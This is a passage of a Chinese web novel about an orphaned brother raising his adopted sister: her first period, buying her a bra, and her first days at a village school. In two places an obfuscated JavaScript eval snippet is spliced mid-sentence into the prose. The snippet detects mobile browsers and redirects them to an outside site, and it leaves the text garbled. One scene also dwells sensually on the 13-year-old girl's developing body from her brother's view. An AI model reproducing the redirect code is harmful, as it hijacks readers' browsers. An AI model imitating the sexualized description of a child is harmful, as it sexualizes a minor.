冯水蜷缩在床上,半梦半醒间听见蒋山过来的声音,哽咽地叫他:“哥……” 蒋山本来心里就难受,一听她这声音,眼泪又有些憋不住,他咬着牙咽了下去,努力笑着应了句:“哥在呢,别怕。” “哥……我好痛。” 蒋山皱着眉,把热水袋贴着她后腰,这么大热的天,皮肤竟然是冰冷的。 他又抬手摸了下她额头,还在冒冷汗。 “冯水,冷吗?” 冯水苦着脸摇了摇头,向着他侧身,手无力地拽住他衣角,眼泪又开始往外流:“哥……” “我还是害怕……” 蒋山也没忍住落了泪,他赶紧抬手擦掉,牵着她的手在床沿坐下:“不怕,有哥在呢。” “而且今天那个阿姨不是也说了吗,这是正常的。” “不止我们冯水这样,别的女孩儿都这样。” “哥……”冯水拉着他的拇指吸了吸鼻子。 “别怕。”蒋山轻轻摸了摸她的头,“哥给你炖了鱼,还有鸡蛋羹,阿姨都跟哥说了,只要冯水多吃肉和鸡蛋,下次就不会这么痛了。” 冯水听着,又有两行泪落下:“真的吗?” “当然是真的。”蒋山依旧哄着她,“冯水在这儿等着,哥先去给你盛鸡蛋羹好不好?” “哥……可是你也还没吃饭。” “你还背着我跑了那么久,你先去吃点东西好不好?” “听话,哥不饿。”蒋山摸了摸她的头,起身去给她盛鸡蛋羹。 冯水爱吃辣,但刘迎说这两天吃着药最好还是清淡一些,蒋山按照她平常的口味加了调味料,然后只加了一点点辣椒油,准备离开灶屋的时候,看见正守在灶台边仰着脑袋朝他摇尾巴的小花。 对啊,小花也还没吃饭。 蒋山把锅里的冷粥拿开水烫热,加了点冯水的鱼汤和调味料进去,倒在狗碗里,又给小花的水盆里加了水,才赶紧洗了手进屋。 蒋山扶着冯水坐起来,原本想让她靠在床板上,但她太痛,坐着坐着就往下滑,干脆还是让她靠着自己。 像他第一次带她回家那晚一样,小心翼翼地抱在怀里,一点一点喂她吃东西。 冯水本来还没什么胃口,但蒋山做的鸡蛋羹看着就很香,滑滑嫩嫩的一碗,盐味精酱油和醋各种调味料都有,有葱花在上面,还有她最喜欢的辣椒红油。 她脸上还挂着眼泪,看着蒋山喂过来的那勺嫩滑的蒸蛋却不自觉地咽了咽,然后张开嘴吃了一大勺。 下一秒,冯水一边吃一边苦着脸掉眼泪:“好好吃……” 蒋山本来看她又哭起来了还担心着,听她说这话一下子没忍住笑了起来,好一会儿,才回答她一句:“好吃就多吃点。” 从早上起就一直压在他心头的那块儿大石头到现在才算是真正挪开了,他深吸了一口气缓了缓,又挖了一勺喂给冯水:“来,小心烫啊。” “嗯嗯……”冯水呜咽着点头嗯声,张大了嘴又是一口,“哥……” 蒋山看她这样都不知道自己到底是该哭还是该笑了,最后还是笑着给她擦了擦眼泪,温声答应着:“哎,哥在呢。” 冯水又这样吃了几口,攒了些力气,才眼泪汪汪地抬头问蒋山:“哥……你怎么一直笑我。” 蒋山看着她忍着笑,柔着眼神逗她:“不能笑吗?” 冯水又瘪了嘴哭起来,眼泪跟着往下流:“不能笑……” “好好好。”蒋山没忍住还是笑起来,嘴上也赶忙哄着,“哥不笑了哥不笑了。” 他转过去咳嗽两声清了清嗓,调整好状态,才又转过来一本正经地哄她:“哥真不笑你了。” 说完也不等一直睁着大眼睛看他的冯水反应,就又挖了一勺带葱花和辣椒油的鸡蛋给她:“快,再吃两口。” 冯水原本还要确认一下他是不是真的不笑自己了,但一看到喂过来的鸡蛋羹就移不开眼了,抽噎着呼吸两下,还是选择先吃蛋。 蒋山看着她还是笑了起来,但他没有发出声音,冯水也没有察觉,就这样一大口一大口地吃完了一大碗鸡蛋。 蒋山轻轻给她擦了擦脸上的泪:“还吃吗?还吃哥又去做,而且锅里还有鱼,要吃鱼吗?” 冯水靠着他摇了摇头,自己又抹了把眼泪:“都不吃了,吃不下了。” 蒋山笑着:“那冯水自己躺会儿好吗?哥去把灶屋收拾一下。” “嗯嗯。”冯水委屈地点了点,慢慢从他怀里滑下去,乱着头发睡在枕头上,“哥还要记得吃饭。” 蒋山笑着给她拨了拨头发:“好,哥肯定是要吃饭的。” 冯水敷着热水袋睡了,蒋山怕她烫着,也怕她热,把热水袋稍微给她拿远了一些,关好蚊帐出去了。 小花盆里的饭和水都已经吃光了,蒋山热了饭和菜,又给它添了点,看它光顾着玩儿没去吃,猜它应该是吃饱了的,才开始吃饭,但吃饭的时候又看见小花那一身白毛上沾着的泥巴,越看越不顺眼,三两口扒了饭,洗了碗之后拿了个大盆出来给小花洗了个澡,刚给它擦干身体,太阳竟然就要落山了。 他去屋檐下把桌子上放着的布给收了起来,打算明天天亮再给冯水做裙子。 屋里传来冯水的声音,蒋山赶紧进去:“怎么了?” 冯水站在床边,一脸无措:“哥……我把床弄脏了。” 蒋山连忙过去看了眼,凉席上果然沾了一片血迹,他又看向冯水的裤子,给她重新拿了条干净裤子,拆了包长卫生巾:“能走吗?不能走哥抱你去厕所。” “我能走。”冯水拿过卫生巾,闷声点了点,往厕所走去,她步伐正常了许多,看着像是好些了。 但蒋山还是不放心,一直跟在厕所外面等她,看她拿着带血的裤子出来了,才问她:“肚子好些了吗?” “好些了。” 蒋山盯着她看了会儿,额头上没有汗,嘴唇看着也没那么惨白,似乎确实是比上午好多了。 他这才放下心来,赶紧回了灶屋把鱼和饭热好,和冯水一起吃过饭后看着她把药吃了,拿了条干净帕子进屋擦冯水睡的凉席。 他没有处理血迹的经验,耽误了这么久,血早就已经干了,而且凉席是竹编的,血迹已经渗进去,好多缝隙都擦不干净。 冯水站在一边,一脸愧疚地捏着衣角:“哥……对不起。” 蒋山刚把自己睡的那张换了过来,听她这 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“你起得来吗?” 冯水埋在他怀里哭着:“起……不……来。” 蒋山又笑起来。 最终冯水还是睡在了蒋山睡过的那张凉席上,蒋山摇着扇子把她哄睡着,点了灯拿着她的裤子去院子里洗。 刘迎说洗带血的裤子最好是用冷水,而且能有内衣皂的话洗得会更干净。 内衣…… 他皱起眉。 说起来,冯水的衣服好像一直是他给洗的,内裤也一直是,过两天等她月经结束去镇上买了内衣,估计也是。 前年他决定不再和她分房睡的时候,确实是想过,从此以后把冯水当亲妹,所以也无所谓什么男女有别了。 但现在…… “你妹……现在就算是正式进入青春发育期了啊。” 刘迎的话犹在耳畔,冯水也确确实实如她所说,进入了青春发育期。 刘迎还说,无论男孩儿女孩儿,青春期的长身体都不只是长高,还有第二性征的发育,女孩儿主要表现为来月经和胸部发育,男孩儿则是长喉结和……遗精。 蒋山视线慢慢往下。 大概去年的时候,他就有过这样的情况,刚开始还以为是尿床,后面去药店卖草药的时候问过老板,才知道这是男生性发育的现象。 也就是说,现在冯水和他都进入了青春期。 两个第二性征正在逐渐发育完善的人,该怎么仅凭一句“我们是兄妹”就忽视男女有别的问题? 他拧着眉烦躁地叹了口气。 那怎么办?难道现在就要和冯水分开吗? 他停下手上的动作,转头看了看别处。 或者……让冯水来做决定呢? 反正他一开始就说了,他会一直陪冯水睡到她不再需要他陪着睡。 蒋山眉毛打结了几秒,决定还是继续保持现状。 他回过头,重新拿起裤子搓了起来。 反正他是做哥哥的,不能食言。 才不是因为舍不得分开。 他肯定地点了点头,继续给冯水搓着裤子。 做哥哥的,帮妹妹洗几件衣服也是理所应当。 没什么大不了的。 反正……决定权在她。 什么时候她觉得这样不好了,他一定立刻放手。 哪怕就在明天。 10. 柔藤绕03 冯水的第一次经期结束,蒋山带着她去镇上买内衣。 蒋山长这么大没怎么和别的女的接触过,家里也没大人教育相关知识,他只是从村里和镇上人的生活中观察学习到,男的女的身体构造和形状不一样,如果不是很亲近的人,在日常相处中就要保持距离,不能随意触碰。 虽然他一直在和冯水说男女有别,但其实他自己也不怎么明白具体是怎么个有别法。 如果不是刘迎告诉他,他根本不知道女人还要穿内衣这回事儿,更不知道内衣长什么样,关键还不识字,牵着正埋头啃糖包子吃的冯水在镇上各个店铺门口转了好一圈,最后还是倒回包子铺问了下老板娘,才知道刚才路过的那个路口左拐就有一家内衣店。 “你去吧,不识字儿也没关系,那家店门口挂着好些情.趣胸罩和裤衩子,花里胡哨的一眼就能看见。” 老板娘的话太过直白,蒋山耳朵尖红得都快要滴血,闷声点头道着谢,牵着冯水往刚才的方向倒回去。 冯水吃完了糖包子,蒋山在路边上拿帕子给她擦干净手,才牵着她进了内衣店。 店里都是一些二十来岁的年轻姑娘,中午刚吃过饭没什么生意,围在一起说说笑笑,看有人进来了,赶紧起身迎接。 领头的一个卷发姑娘大概是店长,很是热情地走过来朝蒋山搭话:“哟,是个小帅哥啊?要买什么?” “这是你妹妹吗?长得好可爱。” 冯水抬头望着她眨了眨眼,嘻嘻地笑起来。 蒋山也是走进来了之后才发现,内衣店里不止有内衣,还有各种真人模特上身穿戴的海报图。 他从没见过这样赤.裸的成人异性海报,更是第一次看到发育完全的女人的……胸。 即便是瞬间就移开了视线,但货架上全是各式各样的胸罩,哪怕现在并没有人穿,只是几块布挂在那里,但他刚刚才看了对他来说那样刺激的画面,脑子里一直在不由自主地回想和补充着。 他浑身血液不安地沸腾着,整张脸烫得快要烧起来。 “哥。”冯水叫了他好几次他都没反应,拉了拉他的手,“这个姐姐说要带我去里面试一下内衣。” 胳膊被轻轻晃了两下,蒋山这才猛地回过神来,被长发遮住的额头都渗出汗来,他视线回避着货架上的内衣,低头看了看正拿着一件纯棉背心问他的冯水,又抬头看了眼冯水说要带她去试衣间的另一位马尾辫姑娘,有些窘迫地朝她笑着点了点头:“哦好,麻烦您了。” “不客气。”马尾辫姑娘笑着答了句,伸手去牵冯水,“妹妹过来。” 冯水点了点头跟了过去,蒋山一个人在货架边上浑身僵硬地等着,不敢动,也不敢看,连呼吸都被刻意压低。 店长去门口打广告去了,店里站着的另外两个姑娘无事可做,凑在一起偷偷打量着蒋山。 又两年过去,他又长高了好些,蒋二全的好些衣服他都穿不了了,给冯水买布做衣服的时候会和老板打商量,偶尔也能白捡那么一两米粗布,攒着攒着又是一件新衣服,反正都是在乡下种地干活,能穿耐穿就行,好不好看的也无所谓。 此刻他就正穿着一身洗得有些褪色的蓝布短袖和棉麻长裤,虽然还是顶着那一头乱糟糟的鸡窝蘑菇头,但他身形骨架已经差不多长开,就那么呆愣紧张地站在店里,侧身背对着外面的光,竟也带出一道俊逸优越的剪影。 他脖子修长,凸起的喉结时不时滚动一下,肩膀宽阔,领口下一字锁骨撑起布料,大概是因为担心妹妹,看着试衣间的方向轻轻皱着眉,站在原地始终不发一言,看着有点文弱书生的秀气,但手臂上却又有着清晰明显的肌肉线条,指节一曲一伸之间,青筋轻轻跟着起伏,光是看着就觉得他和镇上这个年纪的男生不太一样。 终于,两个姑娘互相打好气,涨红了脸手挽手走上前来。 “帅弟弟,请问你有女朋友吗?” 蒋山正奇怪冯水怎么还没出来,蓦地听见旁边传来这么一句,转过头来,正好看见在两个姑娘身后挂着的胸衣海报。 他慌忙移开了视线,没来得及回答她们的问题。 两个姑娘看出他在害羞,胆子竟一下大起来,脸也不红了,也不互相抱着壮胆了,手拉着手一句接一句:“那就是没有女朋友咯!” “怎么这么害羞,以前没来过吗?” “你多少岁啊?长这么高,有十五六了吧应该?脸看着好像比我还要小点儿,家住哪里?” “哎哎哎!店长说了,男的不能说小。” “哦哦。” “你头发是特地做的造型吗?看着好有个性,像那种流浪歌手。” “还有胡子,但还好只有一点,太长了显老显邋遢,不好看的。” “你衣服是专门买的做旧的吗?现在城里好像可流行这个了,想不到你还挺时髦。” “哎你怎么不说话?” 蒋山在店里本来就待得有些手足无措,现在又被她们这些个连珠炮轰得更是站不住脚,尴尬地往后退了两步,脚后跟退到墙边的柜子角上绊了一下,他手下意识在柜子上撑着扶了一下,摸到一团柔软的东西,低头一看,竟是叠好放起来的一摞海绵胸衣,吓得又立马站了起来。 两个小姑娘见状笑起来,眼看着还要继续。 “哥。” 试衣间终于传来冯水的声音,蒋山如同找到了救命稻草,拔腿就往冯水那边过去。 “挑好了吗?”他低头问着,话语里都还带着些尚未消散的虚惊。 冯水朝他点头,拿了件纯棉背心样式的内衣给他看,很小,和他刚才看到摸到的完全不一样。 “请问还需要买别的吗?”领着冯水去试衣服的店员笑着问蒋山。 内衣店里的员工都穿一样的服装,蒋山不禁想起刚才那两个姑娘笑起来的模样,赶紧摇了摇头。 “那好,这边结账。” “嗯。” “你妹妹这会儿刚开始发育,穿这样的就比较合适,先拿三件换着穿,以后长大了再来店里试着买就行。” “洗的时候注意不要太用力,否则容易变形。” “最好是温水,用专门的内衣皂清洗,外面小摊上就有卖的。” …… 蒋山付了钱,一样一样地记住店员的叮嘱,才拿上东西,牵着冯水准备离开。 店长终于忙完了外面的广告回来:“小帅哥要走啦?” 蒋山生怕这一搭话刚才那两个姑娘又要追上来,闷声点了一下头,拉着冯水就往外走。 “谢谢惠顾,欢迎下次……再来?” 店长流利的话术都还没说完,蒋山就已经带着冯水一溜烟跑没影了。 “你俩又调戏别人是不是?” “没有!” “绝对没有!” . 晚上吃过饭洗过澡,蒋山端了个凳子坐在院子里小心翼翼地给冯水洗内衣,冯水觉得新奇,也端了个凳子坐旁边看着。 “哥,你觉得这个颜色的内衣好看吗?” 她皱着眉随意问了句,蒋山却被吓得够呛。 他停了手上的动作,短促着呼吸看了她好一会儿,才有些勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669876|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强地放下心来,虚惊一场地咽了咽,继续往衣服上打着泡沫:“你觉得好看就行。” “反正又不是我穿。”他补充一句。 听他这么一说,冯水皱起了眉:“哥,你说为什么男的就不用穿内衣呢?” 她冷不丁伸手在蒋山胸口戳了一下,蒋山搓着衣服躲闪不急,被她戳到:“明明哥哥的也不小。” “冯水!”蒋山喊了她一句,声音大,但不凶。 “嗯?”冯水半点没觉得这是警告,只当他是忽然想大声说话了,睁着大眼睛等待他的下文。 蒋山和她对峙好一会儿,发现她根本就没意识到这样是不对的,胸口憋了一口气上不来也下不去。 好一会儿,他开口:“下次不许这样了。” “哪样?” “刚才那样。” 冯水皱眉:“摸你的咪咪吗?” 蒋山无语地看着她没说话。 “那小花的我也摸过啊,它都没生气。” “哥哥和小花能一样吗?” 这回换冯水不说话了。 安静了一会儿后,蒋山继续洗衣服。 “对了哥。”冯水再次开口,“今天我在里面换衣服,外面有两个姐姐问你有没有女朋友。” “女朋友是什么意思啊?” “也是长在身上的吗?我有吗?” 蒋山正在给衣服冲最后一道清水,听见冯水问出这样的问题,慢慢放下桶,眉毛打成死结,他在衣服上擦干了手上的水,摸了把冯水的额头,不烫,温热的。 “哥你干嘛?”冯水扒拉开他的手。 “哥看看你是不是脑子出问题了。”蒋山回了句。 谁家孩子十三岁傻成这样? 多半还是因为他没教好。 而且……刘迎说得也对,冯水是个女孩儿,现在不读书,将来靠什么养活自己。 再一个……她已经进入青春期了,必须要对自己的性别有一定的认识,不能整天跟他和小花混在一块儿。 还是得去读书,去一个有同龄女孩儿的地方,跟着别人好好学一学。 不说别的,像男女朋友这种常识性的东西还是必须要知道的。 但现在才农历五月,距离开学还有好一阵,而且她要是在学校也这么傻,被人欺负了可怎么办? 蒋山看着她这傻样担心得直皱眉,好一会儿,他才缓了神色和她解释:“女朋友,就是……一对相互喜欢的情侣,男生是女生的男朋友,女生就是男生的女朋友。” “和夫妻有点像,只是这个不用结婚,称呼也不一样。” 冯水听得云里雾里:“夫妻……所以是和爱情有关吗?” “对。”蒋山起身,准备晒衣服。 爱情……又是爱情。 冯水不解地皱了会儿眉,没想明白,但想起他刚才在店里的时候就没回答有没有女朋友,抬头问他:“所以哥有女朋友吗?” 蒋山刚准备挂上去,听见这个问题,无奈地回过头来看她一眼:“哥天天就只和你一个女孩儿待在一起,你说呢?” 冯水依旧皱眉看着他。 所以……是没有? 还是……是冯水? 但哥不是说,和冯水,是亲情。 “走了,回去睡觉。” 蚊帐里,蒋山依旧摇着扇子哄冯水睡觉,迷蒙间,冯水感觉到有人又给她拨了拨睡乱的头发,还有一声轻笑。 “我的傻妹妹。” 冯水皱着眉彻底睡了过去。 哥哥和冯水,就是亲情。 11. 柔藤绕04 九月,刘迎和蒋山提过的刘家村初中开学,蒋山去镇上买了笔和水杯等学习用品,还买了个闹钟和一整板电池,看着日历上的日期带冯水过去报名。 学校什么手续都不要,只要孩子想去且年龄够了,交个十几块书本费就能进去,但来报名和报道的人都不多,全校师生连同家长加起来,好像也不过才两百多个人。 据给冯水登记的一位中年戴眼镜的老师所说,今天报道100个,明天就有8个家里割麦子不来,后天又有5个家里猪死了要帮着杀,再后天,又新来3个说学校开学怎么也不去家里通知他们一声…… 总之,来的人多人少,有没有人来,都很正常。 蒋山满头问号地给冯水领完书和作业本,后面有人一直在挤,大声嚷嚷说是家里还忙着打谷子,再报不到名他可就要走了,然后一群人跟着嚷嚷起来,说这个季节谁家没事儿,这名爱报不报,不报正好节约资源。 蒋山怕冯水被挤着,拿了东西就赶紧拉着她靠边站着。 这学校里的人看着不靠谱就算了,面积也小,而且房子看上去也很有些年份了,墙壁黑板都掉漆,桌椅板凳也是破破烂烂的,有校门,但没有门卫,厕所甚至还修在学校外面,下课想上厕所还得出趟校门。 蒋山环视着学校,眉头皱得老紧。 “小伙子,你也来报名啊?” 一个老奶奶杵着拐过来戳他一下,力道不小,戳得蒋山缩了一下,但低头看过去的时候,她又是笑着的。 “哟!不好意思啊,干活儿习惯了手劲儿有点儿大。” “没事。”蒋山微笑着摇了摇头,默默把冯水拉到了另一边。 “你今年几岁啊?我看你模样生得还不错,有亲事了吗?”那老奶奶又问一句。 蒋山僵硬地笑着,正想着怎么找个借口带着冯水走人,旁边就跑来个女生,年龄看着和他差不多,皱着眉伸手拉她胳膊:“奶奶。” “乖孙,你来啦。”那奶奶笑着朝来的女生指了指蒋山,“你看看这个姑爷——” “奶奶!”那女生几乎是立马就把奶奶指蒋山的手给拉了回来,慌忙朝着蒋山说了句不好意思,拉着奶奶走远了。 冯水在旁边看得云里雾里:“哥,姑爷又是什么?” 蒋山摇了摇头:“哥也不知道,没听说过。” “嗐!现在的娃娃怎么连姑爷都不知道?”一个手里抱着一摞书和一把野菊花的大爷在蒋山背后接了句,“姑爷就是姑娘的男人,用你们年轻人的话,就是老公。” “老公?” 冯水疑惑地接了句,被蒋山抬手捂住:“小孩子别乱接话。” 他看那大爷看着还挺实诚,朝他笑了笑,问:“这位大爷,请问你也是来给孩子报名的吗?” 大爷皱着眉看他好一会儿,抖了抖手上的书:“不然呢?我来捡纸壳的。” 蒋山尴尬地笑了笑。 “我闺女的书。”大爷把野菊花拿开,教科书封面露出来,“初三了,今年读完就该毕业了。” “初三?之前也一直在这儿读吗?” 大爷看着他没说话。 “那个……其实我就是想问一下,这个学校靠不靠谱啊?我妹第一次上学,我以前也没了解过。” 大爷答得很是随便:“学校还有什么靠不靠谱的,有老师有学生不就行了,反正就是来上个学,又上不死人,九年义务也不要学费,上着玩儿呗。” “而且这儿夏天还有风扇,也算是为家里节省电了。”大爷说。 “有电?”蒋山连忙回头往教室里看了看,果然有电风扇,就是看着岁数也不小的样子,如果不是安的时间太久了,那就应该是二手的。 “是啊,去年和村里一起通的啊,你家没有吗?你哪个村的啊?” “蒋家湾。” “哦……”大爷面露难色。 “反正应该也快了。”他又找补一句。 “嗯。”蒋山点头应声。 冯水在九月底满十四,教导主任按照年龄直接给她安排在了初二,一共就一个班,应到39个人,但每天实到的人数都不一样。 班主任刘飞,正好就是刚才登记报名的那位,把初二一班的家长和学生都带到教室里,按身高排了座位,说了下上课时间和放学时间,还有一些上学一定要记得带书和笔、没作业的话干脆就放学校里别拿走之类的基础规则后就散了会。 蒋山想着冯水都还不认字,一来就上初二会不会跟不上,散会之后找到刘飞说了一下,但刘飞说,其实没什么,就村里目前这个状态,班里认字的人一共也没几个,只要她每天都来不缺勤,不会跟不上,说不定还能学到中上游水平。 蒋山听得懵懵懂懂,冯水在旁边也是懵懵懂懂,刘飞解释好之后就去忙别的事,蒋山回过神来,下意识就要拿上书本回家,还是冯水反应过来拦住他,说没作业的话就放教室里就好。 蒋山点头哦了两声,带着冯水回了家,估了一下路上要用的时间,算好明天上午的出发点,反复叮嘱冯水明天早上他一叫她就得起来。 七月的时候他就给她缝好了两个书包等着用,临到用了,想着毕竟是女孩儿的包,半夜又从床上爬起来,拿红线在上面绣了两朵小红花。 第二天鸡刚叫,蒋山就醒了,看了眼闹钟,时间也差不多了,他先去灶屋把饭给煮上,然后回屋叫冯水起床洗漱。 冯水已经很久没有起这么早过,嘴上答应着起来了起来了,眼睛却一直睁不开,蒋山看得想笑,但现在天热,她身上只穿了一件小号的老头背心,蒋山不好上手,只好把着她肩膀有衣带的地方轻轻把她拉了起来。 “起床上学了。” 他说完这句,下意识就去帮冯水拨开糊脸的头发,视线也跟随她垂在胸前的发丝游走—— 下一秒,他目光像是被烫到,一瞬间移开了眼,手上力气也条件反射地松了,冯水没坐稳,差点就要倒回去,蒋山又连忙把她拉回怀里。 身体短暂的失重感让冯水醒了过来,迷迷糊糊地趴在蒋山肩头睁开眼:“哥?天亮了吗?” 蒋山抱着她,隔着两层薄薄的布料和她紧贴着。 才不过三个多月,就这么明显了吗? 那……是不是该去换了啊? 都能……看到,也能……感觉到。 柔软的,弹滑的。 而且,很白。 下一秒,他摇头打断自己脑中的这些作为哥哥绝不该有的念头,把冯水从自己怀里拉出来,动作很快,但扶正的时候依旧很小心,呼吸不自然地从她床上离开,头也不回:“快点起来。” 冯水刚才都没醒,根本不知道发生了什么,只抬手揉着眼睛答应一句:“哦。” 吃了饭,蒋山把水杯装满水,背着书包带着冯水往学校去,小花跟着走了一截,被蒋山赶了回去看家。 安全把冯水送到教室,蒋山又向班主任刘飞确认了一遍放学时间:“刘老师,确定是十二点整放学是吗?我好看着时间来接人。” 刘飞扶了扶眼镜,看了眼座位上的冯水,又看了眼面前的蒋山:“你妹妹不是都快十四了吗?你还要来接啊?” 蒋山点头:“当然要接啊,她一个女孩儿,而且我们还在蒋家湾,路上得走小三十分钟呢。” 刘飞其实想说学校里也有蒋家湾的人,冯水完全可以和他们一起回去,但看蒋山把接妹妹回家说得这样理所应当,有点儿不知道该怎么回话,说了句就是十二点放学,打发他走了。 刚走到校门口,蒋山又碰到昨天那个拄拐的奶奶,他想起昨天被戳那一下的痛感,下意识离远了些。 但事不如人愿。 “哟!小伙子!这个点儿了不回教室,出去上厕所啊?” 奶奶笑眯眯地往他这边走来,他不好拒绝,礼貌地笑笑:“不是,我不上学,来送我妹。” “家里还有个妹妹啊?”奶奶皱起了眉,“那可不好,你妹几岁啊?能独立生活了吗?” 蒋山没来得及去想她问这些做什么,只听见一句有妹妹不好,直接就垮了脸不想回答她了,反正也不认识,转身就要走人。 “哎你这人!”那奶奶听着像是要追过来,蒋山都打算开跑了,听见旁边有人叫他。 “你等一下!” 是昨天那个女生。 她先是走过来安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669877|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚了一下一脸气愤的奶奶,然后朝蒋山伸手:“认识一下吧,我叫刘金,金子的金。” 蒋山看着她,马尾辫,脸颊泛着红,看上去有些紧张,但仍抬头挺胸。 值得尊重,但……他不想。 他今天只是来送冯水的,手,也只能牵冯水的。 “不用了,我有妹妹。” 刘金没听出他这话的意思,以为他是在反驳奶奶刚才的话,正要解释,奶奶却也把他的话听了进去,拿着拐杖骂骂咧咧地就要来揍蒋山,被刘金拦了回去:“没关系,我们还会再见的。” 刘金把奶奶扶出了校门口,蒋山惦记着地里的菜,没再耽误,大步回了家。 . 冯水今天第一次进学校,也是第一次上课和下课,知道什么是上课铃什么是下课铃,哪个老师来了要拿哪本书。 她不识字,也不会用笔,好在同桌康元是个性格挺好的姑娘,虽然也是上课打瞌睡,大字不识几个,但用笔和一些基础的文字还是懂的,她心思不在学习上,一心想当个舞蹈老师,但学校的舞蹈老师是从离镇上更近一些的何家村请来的,一周只来两次,康元一周也就认真那么两次,别的时间不是玩就是睡觉。 现在班里来了个连笔都不会的姑娘,还成了她的同桌,她好奇得很,高兴得连觉都不睡了,小半个上午都在教冯水用笔和看冯水学写字憋笑憋出眼泪。 冯水被笑了心里难受,但她又不想在学校里哭,更不想回家去哭让蒋山担心,于是只好忍着眼泪认真学着,争取早日不被嘲笑。 第三节课下课,冯水坐在座位上认真学着写字,忽然一个她不认识的女生过来敲了敲她的桌板:“外面有人找你。” 冯水抬起头往教室门口看,是昨天那个说姑爷的奶奶的孙女。 她放下笔出去。 “我们昨天见过的,我叫刘金,金子的金,你叫什么名字?”刘金问她。 冯水愣了两秒,脑子里飞快过了一遍出门前蒋山提醒过她的注意事项,包括但不限于不要和陌生人说话、不要吃陌生人给的东西、有问题找老师、有同学欺负也要找老师、放学了就在教室等哥哥来接,不要在校门口等…… 她们见过面,她也说了她的名字,所以……不是陌生人对不对? 可以说话。 她看着她笑起来:“我叫冯水。” 刘金倒是没想到蒋山那么冷漠的人还会有一个这么爱笑的妹妹,继续说:“我在初三一班,今年十五。” 冯水脑子转了转:“我初二一班,今年十三,马上就十四了。” “马上十四了?”刘金看了看她的身高,“多吃点饭吧平时。” 冯水听出她这是在嫌弃自己矮,笑不出来了,眨了眨眼没再说话。 刘金清了清嗓:“那个……我不是嫌你矮,你也就……比我矮,和村里其他女孩儿还是差不多的。” “而且快初三的时候女生会窜个子的。” 冯水重新抬头看她。 下课时间不多,刘金打算问正事:“那个……你哥哥叫什么?” 冯水觉得奇怪:“你问我哥干嘛?我哥又不上学。” “那他今天都知道我的名字了,我不知道他的岂不是很亏?” 冯水听得一愣。 哥知道这个姐姐的名字了? “什么时候啊?” “就今天上午啊,估计那会儿你哥刚送完你吧。” 冯水觉得自己有些不高兴,但她也说不出为什么。 “所以你哥到底叫什么?” “蒋山。”冯水低头嘟囔一句。 “蒋山?”刘金觉得奇怪,“不应该是冯山吗?你骗我?” “我没有。”冯水抬头说。 刘金更奇怪了。 异姓兄妹?他还那么护着? 还说什么……不用了,我有妹妹。 她脑子里忽然想到什么,试探着问:“你们,是亲生的吗?” 冯水看她这样紧张,一脸认真地摇头:“不是啊,怎么了?” 刘金豁然开朗,偏过头去叹了口气,而后转过来无奈地笑笑:“没什么,你回去学习吧。” 12. 柔藤绕05 中午的时候蒋山按时来接冯水。 十二点铃声一响,三个年级三个班的学生同时从教室出来,下午两点半才上课,中午有足够的时间休息,除了一开始有几个男生一起为了抢谁是第一个冲出校门的人而大跑特跑,其他的学生几乎都是有说有笑地慢慢走出来。 但毕竟是三个班级,近百来号人,蒋山在校门口等着,原本打算等这些人都走了再进去找冯水,但又想着毕竟是第一次来接她,担心冯水忘了他说的要在教室里等,直接出来了会错过,一时也有点着急,干脆迈步走了过去。 他个子高挑,又顶着一头乱糟糟的鸡窝头,在一众或寸头或锅盖头的初中男生里看着格外扎眼,光是从校门口走到教室,就引来一众学生的视线,看着他小声说说笑笑。 以前蒋二全顶着这个发型的时候,村里人就常常笑他是个疯子,只是那会儿蒋山还小不明白,后面他也蓄起这个发型,长大的过程中逐渐感受到好些微妙的恶意,回想起当初村里人的那些笑脸,才明白不是所有的笑都是发自好心。 但他无所谓。 有妹妹就够了。 他快步走到冯水教室门口,看见冯水正坐在座位上等着,睁着大眼睛往窗外望。 “冯水。”他笑着叫她。 “哥!”冯水笑起来,中午没作业,冯水只拿了喝了一半的水杯出去找他。 “哎。”蒋山笑着答应一声,接过她的水杯看了看,“怎么才喝一半,哥不是说了现在天热要多喝水吗?” 冯水不说话,只抬头看着他笑。 蒋山拿她没办法,笑着揉了揉她的脑袋,伸手牵她:“走,哥带你回家。” “嗯!”冯水笑着拉住他。 学校里还有些人没有走,看见蒋山牵着冯水出来,凑一起悄悄说着什么,冯水转头看了一眼,其中一个男生像是被吓到,立马转了回去。 冯水皱起眉,蒋山顺着冯水的视线望过去,隐约觉得那几个人有点眼熟,但又不确定到底是在哪儿见过。 “哥,我们中午吃什么啊?” 冯水忽然摇了摇他的手笑着问起,蒋山收回视线,也笑起来逗她:“你猜。” 冯水垮了脸,偏过头没理他。 蒋山笑着拉着她走出校门,皱着眉一脸思索样:“中午吃……” 冯水再次试着抬头看他。 “哥哥做的饭!” 冯水低下头,一路都没再理他。 中午蒋山做了玉米粥和剁椒鱼头,冯水吃得高兴,终于再次和他搭话。 “哥,我会写字了。” 她回屋里拿了笔和纸,拿起笔一笔一划地写出四个字。 “这两个字是蒋山,这两个字是冯水。” 蒋山不确定她说的是不是自己的名字,更不敢确定冯水是不是专门为了他才学的这个两个字,看着她很是惊讶,没敢立刻说话。 冯水只当他是没明白,笑着和他解释:“就是哥的名字。” “我找我同桌问的。” “她会写字。” 蒋山本以为确定了心中所想,应该就会有话说了,但他此刻还是只能看着冯水,心里泛着酸,喉头发着涩,半天说不出话。 冯水。 冯水…… 